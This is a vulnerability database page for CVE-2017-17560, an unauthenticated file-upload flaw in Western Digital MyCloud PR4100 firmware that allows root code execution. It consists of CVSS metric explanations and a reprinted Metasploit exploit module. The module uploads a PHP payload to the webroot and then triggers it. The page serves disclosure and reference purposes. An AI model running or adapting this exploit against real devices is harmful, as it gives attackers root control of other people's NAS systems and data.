CVE-2017-17560 : Detail

CVE-2017-17560

9.8
/
Critical
Authorization problems
A07-Identif. and Authent. Fail
83.78%V4
Network
2017-12-12
17h00 +00:00
2017-12-20
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

An issue was discovered on Western Digital MyCloud PR4100 2.30.172 devices. The web administration component, /web/jquery/uploader/multi_uploadify.php, provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43356

Publication date : 2017-12-17 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module ], 'References' => [ ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'], ['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'], ['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'], ['CVE', '2017-17560'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => true, 'DisclosureDate' => 'Jul 29 2017', 'DefaultTarget' => 0)) end def check res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php') if res.nil? vprint_error('Connection failed') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'] =~ /\?status=1/ return CheckCode::Vulnerable end CheckCode::Safe end def upload(web_folder, fname, file) # construct post data data = Rex::MIME::Message.new data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"") # upload res = send_request_cgi({ 'method' => 'POST', 'uri' => '/web/jquery/uploader/multi_uploadify.php', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'vars_get' => { 'folder' => web_folder } }) end def exploit if check != CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device') end # upload PHP payload to '/var/www' (webroot). web_folder = '/var/www' php = "<?php #{payload.encoded} ?>" print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.") fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php" res = upload(web_folder, fname, php) # check upload response fail_with(Failure::Unreachable, 'No response received from the target.') unless res if res.code != 302 || res.headers['Location'] =~ /\?status=0/ fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)") end print_good('Uploaded PHP payload successfully.') # register uploaded php payload file for cleanup register_files_for_cleanup(fname) # retrieve and execute PHP payload print_status("Making request for '/#{fname}' to execute payload.") res = send_request_cgi({'uri' => normalize_uri(fname)}, 15) end end

Products Mentioned

Configuraton 0

Westerndigital>>My_cloud_pr4100_firmware >> Version 2.30.172

Westerndigital>>My_cloud_pr4100 >> Version -

References

https://www.exploit-db.com/exploits/43356/
Tags : exploit, x_refsource_EXPLOIT-DB